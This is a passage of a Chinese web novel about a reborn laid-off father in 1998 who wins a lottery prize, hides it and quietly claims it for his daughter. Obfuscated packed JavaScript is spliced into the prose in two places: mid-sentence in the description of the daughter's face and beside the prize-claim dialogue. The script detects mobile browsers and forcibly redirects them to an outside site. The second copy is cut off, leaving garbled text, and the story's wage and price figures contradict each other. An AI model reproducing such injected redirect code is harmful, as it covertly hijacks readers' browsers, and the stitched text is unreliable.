笑笑还等着吃奶油冰棍,还等着穿新裙子,他这个当爹的,连这点希望都给不了她? 巨大的失落像潮水般涌来,将他彻底淹没。 他踉跄着后退两步,“咚”地跌坐在冰冷的木椅上——这椅子是前租客留下的,椅腿少了个垫片,一坐就晃。 他目光呆滞地望着窗外的漆黑夜空,连远处家属院门口那盏昏黄的路灯都觉得刺眼,像在嘲笑他的天真:一个下岗的穷小子,还想靠彩票改变命运? 完了, 全都完了。 他甚至开始怀疑,苏晚晴离开时他哭晕在窗前,再醒来时看到笑笑活生生躺在身边的“重生”,根本就是场幻觉。 就在他万念俱灰,指尖都开始发凉,连眼泪都快掉下来时—— 收音机里的声线再次传来,像道迟来的闪电,劈开了他混沌的意识: “……好的,各位听众,为避免大家记错号码,现在再次播报本期中奖结果: 本期‘好运36选6’的基本中奖号码是3、8、0、5、1、8, 特别号码9。 重复一遍,基本中奖号码3、8、0、5、1、8, 特别号码9—— 基本号码全中者为二等奖,奖金五万元; 基本号码全中且特别号码相符者,为一等奖,奖金一百万元……” 基本中奖号码是3、8、0、5、1、8?! 林凡猛地从椅子上弹起来,动作太急,椅子腿在水泥地上刮出“吱嘎”的刺耳声,惊得床上的笑笑不安地翻了个身,小手更紧地抓着他的衣角,梦话里又飘出“爸爸”两个字,声音软得让人心疼。 他赶紧屏住呼吸,盯着女儿的睡颜, 直到她的呼吸重新变得平稳、绵长,才敢低头看自己的手——还在抖,却不是因为失落,是因为狂喜到发颤。 刚才他光顾着听“特别号码9”, 心脏在胸腔里擂得太响,竟盖过了主持人报基本号码的声音! 他买的那组,根本就没押特别号码—— 他只凑够了买基本号码的钱,特别号码是额外加钱的,他没舍得。 而二等奖只需要基本号码全中,特别号码半分影响都没有! 他中了!真的中了!五万元! 巨大的情绪冲击让林凡眼前发黑,他赶紧扶住桌边才站稳——桌上还放着笑笑晚上喝剩的半杯米汤,碗沿沾着点米粒。 心脏在胸腔里疯狂擂动,像要撞破肋骨跳出来,血液“轰隆隆”地冲刷着血管,带来一阵阵眩晕的喜悦。 眼泪“唰”地就下来了,却不敢哭出声,只能死死咬住下唇,任由泪水砸在洗得发白的衬衫衣襟上,洇出小小的湿痕。 他太清楚五万元在1998年意味着什么了: 机械厂的工友月薪最高才三百八十块,五万元相当于十三年的工资; 家属院对面的红砖**房,带个八平米的小院,全款也才四万二; 笑笑以后不用再吃冷粥咸菜,每天都能喝上牛奶——供销社的袋装牛奶一毛钱一袋,五万元够她喝到成年; 还能给她报个学前班,不用再看着别的小朋友去上课,自己躲在墙角画圈圈。 林凡轻轻走到床边,蹲下身,借着微弱的灯光看着女儿的睡颜。 笑笑的睫毛很长,像两把小扇子,软软的嘴角还带着笑,大概是在梦里吃到了绿豆冰棍。 沾着油星的小脸透着孩子气的天真,皮肤是淡淡的黄——那是长期营养不良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607471|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的颜色,以后他一定要让这张脸变得红润起来。 他小心翼翼地从贴身口袋里掏出那张彩票—— 被他折成了小方块,藏在腰带内侧,纸边已经被反复摩挲得发毛,边角还沾着汗渍,却像块稀世珍宝。 他展开来,指尖轻轻拂过印刷的数字,一个一个地核对,连油墨印出的小墨点都看清楚了: 3、8、0、5、1、8,一个都不差! 他把彩票紧紧按在胸口,能感受到纸片下心脏的跳动—— 那是希望的温度,是重生的重量,是他能给笑笑的未来。 足足十几分钟,他才勉强压下激动,大脑渐渐清醒:不能声张!绝对不能! 怀璧其罪的道理,他比谁都懂。 这筒子楼里住的都是机械厂的老邻居,谁家买了块肉、添了件新衣服,第二天就能传遍整个家属院。 他一个刚下岗的穷小子,突然拿出五万元,不像是抱了块金砖走在街上?指不定会引来什么麻烦——有借钱的,有眼红造谣的,甚至可能被小偷盯上,万一伤到笑笑,他连死的心都有。 他开始在脑子里规划每一步,细致到每个细节: 明天一早六点,先去机械厂工会办公室——他的下岗档案还存在那里, 工会**李叔是个老好人,以前他在厂里时,李叔总帮他照看笑笑。 到时候带包两毛钱的“江州牌”香烟,多说几句软话,开个“身份证明”不难——兑奖需要这个。 然后坐最早一班七点半的长途汽车去市里——汽车站在城郊,离家属院有三站地,步行过去正好赶上车。 这辆车是去市汽车总站的,离福利彩票发行中心只有两条街,不用转车,能避开认识的人。 兑奖时要现金还是转账?转账要留身份证号,太扎眼,还是要现金。不过五万元现金是一大摞,得用个结实的布包—— 就用苏晚晴生前缝的那个蓝布包,藏在旧提箱里,外面再放几件换洗衣服,看着像去市里走亲戚。 兑奖后的钱怎么藏? 不能全存在本地银行——县城就两家银行,工行和农行,柜台的柜员都是老熟人,存五万块太扎眼。 最好分三份: 一份两万存成三年定期,藏在苏晚晴给他做的那件藏青色棉袄内衬里—— 棉袄是厚棉布的,他找针线把内衬缝了个小口袋,平常用不到,没人会注意; 一份两万换成现金,缝进床板的夹层——床板是松木的,他之前修床时发现中间有空隙,用薄木板挡着,外面看不出痕迹; 还有一万,想办法去省城的工商银行开户——就说去省城给笑笑看咳嗽(笑笑换季总咳嗽),顺便把钱存了,省城银行人多,没人会盯着他这个小储户。 最重要的,是怎么解释钱的来源。 亲戚赠与?不行,他老家在农村,亲戚都是种地的,谁家都不富裕。 远房遗产?这个可行!他想起前世厂里有个老同事,说老家有个远房舅舅在深圳做外贸,偶尔会寄钱回来。 他可以借这个说法——就说母亲那边的远房表哥,在深圳做电子生意发了财,知道他下岗带着孩子不容易,特意寄了点钱周转。 深圳离江州远,没人能查证,而且“周转”两个字说得模糊,既不会引来追问,又能解释钱的来路,完美。 思路越来越清晰,前世在社会摸爬滚打的谨慎,此刻全派上了用场。他强迫自己压下立刻去兑奖的冲动,把彩票重新叠好, 走到衣柜前——衣柜是铁皮的,锈了个小洞,里面只挂着三件衣服:两件衬衫,一件棉袄。他翻出那件藏青色棉袄,手指拂过细密的针脚——这是苏晚晴怀孕时给他做的,说冬天车间冷,厚棉袄抗冻。 棉布里子用的是她陪嫁时的被面,摸着还软软的,带着点蜂花洗发水的淡香——是他每次洗棉袄都用的牌子,便宜还留香。 他找来针线盒——里面的线轴还是苏晚晴以前用的,只剩半卷藏青线。 他小心地撕开棉袄内衬的一角,把彩票塞进去,再用和原来一致的针脚缝好,针脚密得像鱼鳞,摸上去平平的,看不出任何痕迹,就像这件棉袄从未被动过。 做完这一切,窗外的夜色已经淡了些,远处传来第一声鸡鸣——是巷口王大爷家的芦花鸡,每天四点半准时叫,以前林凡下岗后睡不着,总坐在窗边听着鸡鸣发呆,觉得日子没个盼头。 可现在,这鸡鸣却像希望的号角,清脆地划破寂静。 晨光透过糊着旧报纸的窗纸,给房间镀上一层暖融融的浅黄,连墙上剥落的墙皮都显得柔和了。 林凡和衣躺在笑笑身边,女儿的小身子挨着他的胳膊,暖暖的。 他侧过身,看着笑笑的睡颜,指尖轻轻拂过她柔软的头发—— 用的是最便宜的蜂花洗发水,洗得头发软软的,带着点甜味。 他的手因为常年干活有老茧,怕刮到笑笑,动作轻得像碰易碎的瓷器。 他想起前世的遗憾:笑笑八岁那年,因为营养不良得了肺炎,他没钱住院,只能在家喂退烧药,结果耽误了病情,最后…… 想到这里,他的心像被揪了一下,赶紧把女儿往怀里搂了搂——还好,这一世,他能抓住机会,能让笑笑好好活着。 窗外的老槐树上,早起的麻雀开始叽叽喳喳地叫,阳光从树叶的缝隙里漏下来,在地上投下细碎的光斑。 天,要亮了。 林凡轻轻吻了吻女儿的额头,声音轻得像耳语,却带着这辈子最郑重的誓言: “笑笑,别怕,爸爸再也不会让你受委屈了。 以后咱们有肉吃,有新衣服穿,还能去游乐园坐旋转木马。” 收音机还在“刺啦”地响着, 此刻却像命运吹响的号角,清脆而响亮。 他的人生,笑笑的人生,那些被贫穷和遗憾困住的日子, 终于要在这晨光里,迎来真正的破晓。 第六章:低调的序曲 清晨的第一缕微光,是从窗纸的破洞里钻进来的。 那光软乎乎的,落在坑洼的水泥地上,晕出细碎的光斑——像谁不小心撒了把带霜的碎米,还沾着窗纸脱下来的毛边,风一吹,就跟着轻轻晃。 夏夜的凉意还没散尽,裹着墙角霉斑的潮气钻进薄被缝,林凡却已经睁了眼。 他没敢动,就那么躺着,听着身边笑笑匀净的呼吸声。 一夜几乎没合眼,大脑却清明得很,每个细胞都透着股压不住的亢奋,又掺着点尘埃落定的踏实,像揣着颗刚从灶膛里扒出来的烤红薯,热乎气从心口往四肢窜。 他轻手轻脚地起身,刚撑着胳膊坐起来,床板就“吱呀——”一声拉长了音,像在暗处打了个哈欠。 林凡瞬间顿住,连呼吸都放轻了,低头往身边看——笑笑翻了个身,小爪子还紧紧攥着他的衣角,睫毛颤了颤,眼缝里没透出光,没醒。 他松了口气,第一时间探手往衣柜里摸那件洗得发白的旧棉袄。 指尖先触到粗布内衬的纹路,再往下,就碰上了那张硬挺的彩票。 温温的,像揣着颗刚焐热的溏心蛋,那点实在的触感传过来,狂跳了一夜的心脏才算稳稳落回腔子里。 巨款就藏在衣襟下,可此刻的林凡,比任何时候都要冷静。 生炉子时,火柴划了两次才燃。 第一次火星刚冒出来,就被从窗缝钻进来的凉风掐灭了,只剩点焦黑的药味飘在空气里。 第二次他把火柴凑到炉口,挡住风,“噌”地一声,橙红的火苗窜起来,他赶紧把火凑到蜂窝煤的孔眼上,看着火苗一点点舔进煤缝里。 煤渣顺着炉口簌簌往下掉,落在水泥地上“滋”地一声,烫出小小的黑印。 他赶紧缩回指尖,那点热意倒让他更清醒了些——日子要从头过,得一步一步来,急不得。 今天没像往常那样,把野菜切碎了拌进糙面粉里,他蹲在米缸前,掀开盖儿,舀出小半碗米。 米粒饱满,白生生的,是苏晚晴临走前特意买的“细米”,平时舍不得吃,都得掺着红薯熬稀粥,稀得能照见人影。 水在铝锅里“咕嘟咕嘟”烧开,他把米倒进去,调小了火,让米粒慢慢熬。 没一会儿,米香就从锅盖缝里钻出来,先是淡淡的,像挠人的小爪子,勾得人心里发馋;接着越来越浓,暖融融的,裹着水汽漫满了小房间,把墙缝里钻进来的潮味全压下去了。 林凡坐在小凳上,盯着锅里翻滚的米粒 ——它们一开始是硬邦邦的,在水里打转转,慢慢就胀大了,变胖了,粥也渐渐稠了,冒着细小的泡泡。 他的眼神越来越亮,也越来越坚定:从今天起,他和笑笑的生活,就得像这锅粥一样,稠稠的、暖暖的,满是实在的滋味,再也不用凑活。 粥快熬好时,笑笑醒了。 她揉着惺忪的睡眼坐起来,小脑袋还一点一点的,像没上弦的小木偶。 可没过两秒,她的小鼻子就一抽一抽的,像刚睡醒的小奶狗,鼻尖还沾着点睡出来的薄汗,闻到米香瞬间就支棱起来,声音软糯糯的,还带着点没醒透的鼻音: “爸爸,好香呀……” “笑笑醒啦?” 林凡走过去,先把她裹在薄被里的小脚丫掖好,又去灶台上拧了把热水浸过的毛巾 ——水温刚好,不烫也不凉。 他蹲在床边,仔细地给笑笑擦脸,从光洁的额头擦到软乎乎的下巴,连沾在嘴角的睡沫都擦得干干净净; 又把她的小手摊开,一根手指一根手指地擦指甲缝里的灰,动作轻得像在呵护一块易碎的白瓷娃娃。 当那碗冒着热气、雪白粘稠的米粥端到面前时,笑笑的大眼睛“唰”地一下就亮了,瞪得圆圆的,像两颗浸了水的黑葡萄,满是惊喜。 她太清楚了,以前只有过年,或者自己生病的时候,才能喝到这么纯的白米粥,平时都是掺了红薯、野菜的杂粮粥,稀得能照见自己的小脸蛋。 她小心翼翼地拿起小勺子,舀了一勺,吹了又吹,才慢慢送进嘴里。 软糯的米香在舌尖化开,带着点淡淡的甜,她满足地眯起眼,小脚丫在床沿边晃来晃去,像两只快乐的小秋千。 晃了两下,她又想起什么,把勺子举到林凡嘴边,声音甜得像蘸了蜜: “爸爸也吃!甜!可甜了!” “爸爸不饿,笑笑吃。” 林凡笑着摇头,指尖轻轻碰了碰她的小脑袋。 他看着笑笑鼓着腮帮子喝粥,像只小仓鼠似的,米粒粘在嘴角,她就伸出小舌头 ——那舌头像片粉粉的小铲子,把嘴角的米粒卷得干干净净,连下巴沾的粥渍都舔了个光。 看着女儿这副模样,林凡的心里比灌了蜜还甜,连昨天的愁云都散得一干二净。 喂饱笑笑,林凡开始了第一步计划 ——开身份证明。他抱着女儿往机械厂走,路上的风还带着点晨寒,他把笑笑往怀里紧了紧,用自己的棉袄裹着她。 机械厂还是老样子,破败得让人心酸:围墙裂着几道缝,里头的野草疯长到半人高,窜得比墙头上的铁丝网还高 ——那网锈得只剩红棕色的渣子,风一吹就簌簌掉铁末。 门口保卫科的小屋里,刘大爷趴在掉漆的桌子上打盹,收音机里正放着《岳飞传》,“锵锵”的锣鼓声混着说书人的嗓门,飘得老远。 “刘大爷。” 林凡轻轻喊了声,怕吵醒怀里的笑笑。 刘大爷慢悠悠睁开眼,看见是他,眼神先软了软,又很快硬了点,手指在掉漆的桌沿上敲得哒哒响: “凡子啊,又来问工作?跟你说过多少回了,厂里现在裁人都裁不过来,车间里的机器都停了一半,哪有岗位给你?” “不是来问工作的,刘大爷。” 林凡语气平静,晃了晃怀里的笑笑 ——小姑娘醒了,正睁着大眼睛看刘大爷桌上的收音机,小手指还指着喇叭,好奇地小声嘀咕“响”。 “有点私事,想麻烦您开个身份证明,盖个章。” “身份证明?” 刘大爷把老花镜往上推了推,镜片滑到额头上,他盯着林凡看了几秒,又扫过笑笑软乎乎的小脸,语气里带着点疑惑, “你要这玩意儿干啥?打算去外地打工啊?” 下岗职工来开证明,十有**是为了外出谋生,他在保卫科待了这么多年,见得多了。 “嗯,老乡说南边有活儿,想过去看看。” 林凡顺着他的话往下说,表情自然得像真的要去打工,没露半点破绽, “总不能一直在家耗着,笑笑还小,得给她挣口饭吃。” 刘大爷叹了口气,那口气里满是无奈,他从抽屉里翻出张泛黄的表格,纸边都卷了**,上面的字迹都有点模糊了: “填了吧,我去给你找李主任盖章。唉,出去闯闯也好,总比在家啃老强——你媳妇以前在还好,现在一个人带娃有多辛苦也知道了吧?要是以前珍惜多好啊......” 林凡快速填好表格,姓名、年龄、住址,一笔一划写得工整。 他抱着笑笑在门口等,偶尔有穿工装的工人路过,工装的袖口、裤脚都磨得发白。 有人投来同情的目光,嘴唇动了动,没说话; 有人眼神漠然,扫了他一眼就走了; 还有个以前跟他在车间吵过架的男人,看见他,嘴角撇了撇,哼了一声,扭头就进了厂门。 林凡全当没看见。 此刻他心里装着的,是这些人永远想不到的未来——那未来里有笑笑的笑声,有安稳的家,有再也不用愁的柴米油盐。 这点目光,算不得什么。 没多久,刘大爷拿着盖好红章的证明回来了,递给他时,还特意叮嘱: “走吧走吧,在外头注意安全,别让孩子受委屈。这边也没有什么大事,自己在外学会社交,不要老是一个人过.....” “谢谢刘大爷。” 林凡接过证明,指尖能摸到红章的温度,那红色鲜亮亮的,像一团小小的火苗。 他小心地把证明折成小块,放进贴身的口袋里,紧贴着心口。 转身离开时,他没再回头看一眼这曾经寄托过他青春的厂区——过去的已经过去,那些下岗的迷茫、生活的窘迫,都该留在这儿了。他要带着笑笑,往前面走,往亮处走。 走出机械厂,他没直接去汽车站,而是先拐去了菜市场。 清晨的集市满是生机,吆喝声、讨价还价声裹着水汽飘过来,热闹得很。 卖菜的大妈嗓门亮得能掀了棚顶: “小白菜!带露水的小白菜!五分钱一把,回家蘸酱能吃三碗饭!” 肉摊的络腮胡大汉挥着菜刀,“咚”一声剁在砧板上,肥肉颤出的油星子溅在案板上,滋滋响,他扯着嗓子喊: “刚杀的热乎猪肉!肥的炼油,瘦的炒菜,给娃炖肉最香!” 水灵的青菜带着露水,叶子上还挂着小水珠;鲜红的西红柿透着沙瓤,捏着软乎乎的;活蹦乱跳的鲫鱼在盆里吐泡泡,尾巴甩得水花四溅。林凡的目光扫过这些,最终停在肉摊前。 “要啥?肥的瘦的?” 络腮胡大汉见他过来,停下手里的刀,笑着问。 “割一斤五花肉,要肥瘦相间的。” 林凡的声音不大,却让旁边挑便宜下水的几个大妈顿住了。 她们你看看我,我看看你,眼神里满是惊讶——以前林凡来菜市场,连五毛钱的豆腐都得挑块小的买,偶尔买次肉,也是几毛钱的碎肉,今天居然要割一斤五花肉? 一个拎着萝卜的大妈最先反应过来,手里的萝卜都忘了往菜篮里放,眼睛瞪得溜圆,语气里带着点咋舌: “凡子?你今天这是太阳打西边出来了?往常连豆腐都得挑块小的买,今儿居然割五花肉?不过年不过节的,你这是发大财了?” “哪能啊。” 林凡笑着摆手,接过摊主递来的肉——油光锃亮的,还冒着热气,肥瘦层层叠叠,看着就香, “笑笑最近瘦了,脸色也不好,想给孩子补补,咬咬牙也得买。” 他又去鸡蛋摊买了十个鸡蛋,摊主用旧报纸折了个兜,把鸡蛋一个个放进去,叮嘱他“轻拿轻放”;还去水果摊称了半斤毛桃 ——桃子表皮带着细细的绒毛,透着粉嫩嫩的颜色,闻着就有股甜香味,笑笑肯定爱吃。 这些消费在旁人看来,不过是林凡终于振作起来,咬牙给孩子改善伙食,虽有点意外,却也合情合理。 没人会把这和几万块的大奖联系起来,更没人会想到,这个连肉都舍不得买的男人,兜里揣着能改变命运的巨款。 这正是林凡要的效果:一点点改变,不突兀,不扎眼,像春雨润物似的,慢慢渗透,不让任何人起疑心。 采购完,林凡抱着笑笑,手里拎着菜和肉,往汽车站走。 笑笑趴在他肩膀上,小手揪着他的衣领,还在小声念叨“桃子”,惹得林凡忍不住笑。 去市里的长途车是辆老旧的绿皮客车,车身上喷着“县城—市区”的红字,漆掉了大半,露出底下的铁皮,锈得斑斑点点。 车门“吱呀”一声拉开,一股混杂着汗味、汽油味和笼里鸡鸭腥气的热风扑过来,还裹着后排乘客带的腌菜坛子味,呛得笑笑往他怀里缩了缩,小脑袋埋在他颈窝,小声说“臭”。 “不臭,一会儿就好了。” 林凡拍着她的背安抚,买了两张票,找了个靠窗的位置坐下——座椅上的帆布磨得发亮,还沾着点不知名的褐色污渍,摸上去硬邦邦的。 他把菜和肉放在脚边,用袋子挡着,又轻轻拍着女儿的背: “不怕,爸爸在呢,咱们去市里玩,回来给你买水果糖,好不好?” 车子摇摇晃晃地启动,驶出县城。 窗外的风景慢慢变了,从熟悉的街道变成绿油油的田野。田野里的稻苗刚插下去,嫩得能掐出水,风一吹就晃出一片绿浪。 偶尔有老农披着蓑衣在地里弯腰,**甩着尾巴慢悠悠走过田埂,牛虻在牛背上嗡嗡转,尾巴一甩,就把牛虻赶跑了。 笑笑靠在他怀里,没一会儿就睡着了,小眉头还微微皱着,像在做什么不安稳的梦。 林凡没敢睡,他睁着眼睛看着窗外,脑子里却像过电影似的,把兑奖的每一步都过了三遍: 开口要稳,别露怯,得像个从没见过这么多钱的下岗工人;要是问起钱的用处,就说给娃上学、还账,别扯别的; 采访绝对不能同意,一上报纸,亲戚邻居全得来借钱,日子就没法过了; 还有捐款,估计免不了,得提前想好捐多少,既不让对方不满,也别亏太多—— 每一个细节都得卡得死死的,不能出半点错。 近两个小时后,客车终于“哐当”一声停在市区汽车站,引擎还在“突突”地喘着气,像头累坏的老黄牛,好一会儿才歇下来。 市区比县城繁华多了,一眼就能看出来。 高楼多了几层,墙面刷得雪白,窗户亮堂堂的;自行车流更密了,“叮铃铃”的铃声此起彼伏,骑车的人穿着各式各样的衣服,比县城里时髦;还有穿碎花连衣裙的姑娘,裙摆被风吹得飘起来,手里拎着布包; 戴黑墨镜的小伙子靠在自行车上,手里提着收音机,里面放着流行的歌,声音开得老大。 林凡抱着笑笑,一路打听,问了好几个路人,终于找到福利彩票发行中心。 那是一栋不起眼的四层小楼,混在周围的房子里,一点都不扎眼。门口挂着“中国福利彩票”的绿牌子,边缘还沾着点雨水的痕迹,颜色有点发暗。 他在门口站了一会儿,深吸一口气,理了理皱巴巴的衬衫——那是他最好的一件衣服,平时舍不得穿。 又摸了摸怀里的证明和彩票,确认它们安安稳稳地藏在里面,没露出来,才推开玻璃门进去。 兑奖办公室在一楼,里面很安静,只有一个戴眼镜的女工作人员,二十多岁,梳着马尾辫,正百无聊赖地翻报纸。 她的指甲上涂着淡粉色的指甲油,还贴着小小的碎花贴纸,手指翻报纸时,贴纸就跟着晃。 “同志,您好,我……我来兑奖。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607472|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>林凡的声音尽量平稳,却还是带着点藏不住的紧张,手指不自觉地捏着衣角,把衬衫捏出几道褶子。 工作人员抬起头,推了推眼镜,看见他抱着孩子,愣了一下,放下报纸,语气里带着点惊讶: “哦?中了多少啊?彩票和身份证带了吗?” “带了带了。” 林凡赶紧从怀里掏出彩票和机械厂开的证明,小心翼翼地从窗口递进去。指尖递出去的时候,他能感觉到自己在抖 ——这张小小的彩票,装着他和笑笑的未来,装着他们以后所有的安稳日子。 工作人员接过彩票,先是漫不经心地扫了眼,指尖刚碰到彩票边缘,眼睛突然就瞪圆了,像被针扎了似的“呀”了一声,身体“唰”地从椅子上弹起来,扶着眼镜凑到彩票前,鼻尖都快贴上去了。 她又飞快地翻了翻旁边的中奖公告册,纸页“哗啦哗啦”响,声音在安静的办公室里格外清楚。她的表情从漫不经心变成震惊,抬头上下打量林凡,眼神里满是不敢信,声音都有点发颤: “你……你中的是二等奖?!” “好……好像是,” 林凡装作紧张的样子,双手搓了搓,像个没见过世面的工人,脸上带着点茫然, “厂里的师傅帮我看的,说可能中了,让我来市里确认一下……我也不懂这些,心里还慌得很。” 工作人员深吸一口气,拿起桌上的内部电话,手指都有点抖,拨号码的时候按错了两次: “主任!主任!您快下来!有个二等奖得主来了!对!就是这期的二等奖!真的来了!” 没一会儿,一个穿中山装、肚子有点鼓的中年男人快步下来,脸上的笑堆得像朵菊花,手里的笔记本都快攥变形了。 他快步走过来的时候,肚子上的中山装扣子都崩得有点紧,一开口,声音热情得像要把人裹住: “哎呀呀!恭喜恭喜!真是好运气啊!我是这里的王主任,快请进!小张,快给这位同志倒杯水!要热的!” 林凡被请进里间的办公室,桌上摆着好几张表格,印着“中奖登记表”“纳税申报表”,还有一支黑色的钢笔。 王主任把表格推到他面前,递过笔: “同志,填一下这个,身份证明复印一份,彩票也要存档,放心啊,都是正规流程,不会出问题的。” 林凡一边填表,一边听王主任热情地说: “你这二等奖,厉害啊!扣完20%的个人偶然所得税,到手一共四万八千元!这可是笔巨款啊! 不少人一辈子都挣不到这么多钱! 你打算怎么用? 是存起来给孩子上学,还是做点小生意?” 语气里带着点试探,眼睛一直盯着林凡的表情。 林凡心里一紧,知道最关键的时候来了。 他故意露出茫然的表情,手里的笔顿了顿,抬头看着王主任,像个被“四万八”砸晕的人,声音都有点发飘: “四……四万八?我的天爷……这么多? 我……我没敢想过……得……得回去问家里的老人,可能先存起来给娃上学用,再还点家里的债 ——之前下岗,欠了不少亲戚的钱,总不能一直拖着。” 他装得手足无措,还特意提了“老人”和“债务”——既符合“普通下岗工人”的人设,又能打消王主任可能的“建议”,比如忽悠他捐款,或者投资什么不靠谱的项目。 王主任果然笑了,拍了拍他的肩,力道不轻不重: “应该的应该的,过日子就得稳当点,你这想法好!实在!” 顿了顿,他又开口了,语气里带着点商量, “对了,按惯例,我们想给您做个简单的采访,拍张照片,宣传一下福利彩票的公益性质,也让大家沾沾喜气,你看……” 林凡立刻露出为难的样子,连连摆手,语气都带着点哀求,还往怀里紧了紧笑笑——小姑娘还在睡,小脸蛋贴在他的胸口,呼吸匀净: “别别别!主任,可使不得!这要是登了报,亲戚邻居都来借钱,我这日子就没法过了!您行行好,千万别拍,我就想安安稳稳养娃,不想惹麻烦,谢谢您了,谢谢您了!” 王主任和旁边的小张对视一眼,都看出了林凡的坚决,叹了口气: “行吧,理解你的难处,不拍就不拍。不过……你看,是不是为咱们福利事业再做点贡献?捐点款,多少是个心意,也算是积德行善,你说呢?” 林凡心里门清,这是“破财消灾”,免不了的。他装作肉痛的样子,低头琢磨了半天,手指在桌沿上划来划去,才咬牙说: “我……我捐八百块,图个吉利,您看行不?太多了我也拿不出来,家里还有娃要养,还得还账,实在没多余的钱了。” 八百块不多不少,既不让王主任觉得他小气,也不会让自己亏太多,刚好够“意思”。 “行!八百也是心意!” 王主任笑着接过他递来的现金,在笔记本上记了一笔,又对小张说, “小张,快给同志办存款手续,再兑换两千现金——人家带着孩子,身上没点现金不方便,路上也不安全。” 流程走了半个多小时,填表格、复印证明、签字确认、办存折…… 每一步林凡都走得很小心,生怕出一点差错。 终于,他拿到了四万七千二百元的定期存折,还有两千元现金 ——那现金是厚厚的两沓十元纸币,崭新得能割手,还带着银行的油墨味,摸在手里,沉甸甸的。 他把存折小心地藏在棉袄内衬的夹层里,那夹层是他特意缝的,藏在最里面,谁也找不到。 现金分成两份:一份塞在腰带里,紧紧系在腰上,硌得有点疼,却觉得踏实; 一份放在贴身口袋里,方便路上用。 抱着还在睡的笑笑走出小楼,市区的阳光有点刺眼,他下意识地用手挡了挡。 车水马龙的声音裹着风传来,有汽车的喇叭声,有自行车的铃声,还有路人的说话声,热闹得很。 林凡回头望了眼那栋不起眼的小楼,感觉像做了场光怪陆离的梦 ——昨天早上,他还在为三块七毛钱的菜钱发愁,还在想晚上给笑笑做什么吃; 今天早上,他就握着能改变命运的巨款,像在梦里走了一遭。 但口袋里沉甸甸的存折和现金告诉他,这不是梦。 这是真的,是他和笑笑的新生。 他抱紧笑笑,往汽车站走。 下一步,要找个隐蔽的地方把钱藏好,然后,开始真正规划他和笑笑的未来 ——找个好点的房子,给笑笑找个幼儿园,再想想做点小生意,再也不用过那种凑活的日子。 阳光穿过市区的梧桐叶,碎成金闪闪的光点落在他身上,暖融融的,裹着风里的槐花香。 他低头看了眼怀里睡得安稳的笑笑,又摸了摸内衬里的存折 ——厚厚的, 硬挺的, 带着银行的油墨香, 像揣着一整个沉甸甸的春天。 这是他新生活的开始, 一首低调却满是希望的序曲,正悄悄奏响。 第七章:暗流初现 走出福利彩票中心时,1998年夏末的江州热浪裹着喧嚣撞进怀里——柏油路被正午的日头晒得泛出油光,热气顺着鞋底往上窜,橡胶鞋底踩上去黏糊糊的,像沾了层没化开的糖稀,抬脚时能听见“吱呀”的粘连声; 永久牌自行车在人行道上穿梭,车铃“叮铃叮铃”乱响,有个骑车的女工车把上挂着铝饭盒,盒盖没扣紧,晃出的米汤在车把上结了圈淡黄的印子;街角卖冰棍的小贩推着绿皮铁皮车,车身上“江州食品厂”的红漆已经剥落, “冰棍——白糖冰棍五分钱一根——” 的吆喝混着自行车链条的“哗啦”声、国营商店门口的广播声飘过来,连吸进肺里的空气都带着烫意,鼻腔里像塞了团热棉花。 林凡抱着依旧熟睡的笑笑,站在人潮里,恍惚得像踩在晒化的柏油路上——脚不沾地,心也飘着。 口袋里的两沓现金硌着腰侧,是刚从彩票中心兑奖处拿的十元纸币,崭新得能看见纸纤维,边缘刮着皮肤时带着油墨的凉,却烫得他腰眼发紧; 而那张活期存折轻飘飘的,塑料封皮上印着“中国农业银行”的绿色字样,里面“肆万柒仟贰佰元整”的黑体字, 在1998年的江州抵得上普通工人四年的工资(当时国营机床厂月薪才九百多),此刻却重逾千钧,仿佛要把他洗得发白的卡其布裤兜坠出个洞。 这两样东西像两块烧红的炭,烫得他心头发慌——昨天他还在菜市场为几分钱跟卖菜的讨价还价,盘算着五根冰棍能赚两**五,够给笑笑买半包最便宜的奶粉; 今天就握着能在县城买套小瓦房(当时县城房价才三百八一平)的巨款,太不真实了。 他悄悄掐了下掌心——指甲陷进肉里,尖锐的疼瞬间扎醒了飘在云端的心神。 不行,绝不能松懈。 前世他就是因为下岗后揣着微薄的遣散费大意外露,被街溜子抢了个精光,最后连给苏晚晴买药的钱都凑不齐。 现在怀揣巨款,带着刚满三岁的笑笑,在这连监控都没普及的市区里,每一步都得如履薄冰。 首先要找个安全的地方清点藏钱。 宾馆太扎眼,玻璃窗亮得能照见人影,柜台还得登记身份证;小旅馆鱼龙混杂,门口总蹲着眼珠乱转的闲汉,上次他陪工友来市区,就见有人在旅馆走廊里偷摸交易。 他的目光扫过街对面,突然亮了——“江州新华书店”的绿底白字招牌挂在二楼,漆皮掉了些,边角卷着毛边,却透着股国营单位特有的安稳劲儿,像小时候邻居家沉默寡言却靠谱的老厂长。 对!书店安静,读者多是戴老花镜的退休老人、抄笔记的中学生,人流固定且规矩,靠窗的位置还有供休息的长条木椅。 最重要的是,没人会想到,有人会抱着三岁孩子在书店里清点巨款——谁会把“暴富”和“看书”联系到一起? 他抱着笑笑穿过马路,避让着穿梭的自行车——有个穿蓝色工装的男人骑得太急,车把擦着他的胳膊过去,车筐里的扳手“哐当”掉在地上,男人还回头骂了句 “走路看道,眼瞎啊”。 林凡没敢还嘴,只把笑笑往怀里紧了紧,小姑娘的小脑袋在他肩头蹭了蹭,还砸了下嘴,像是在梦里吃冰棍。 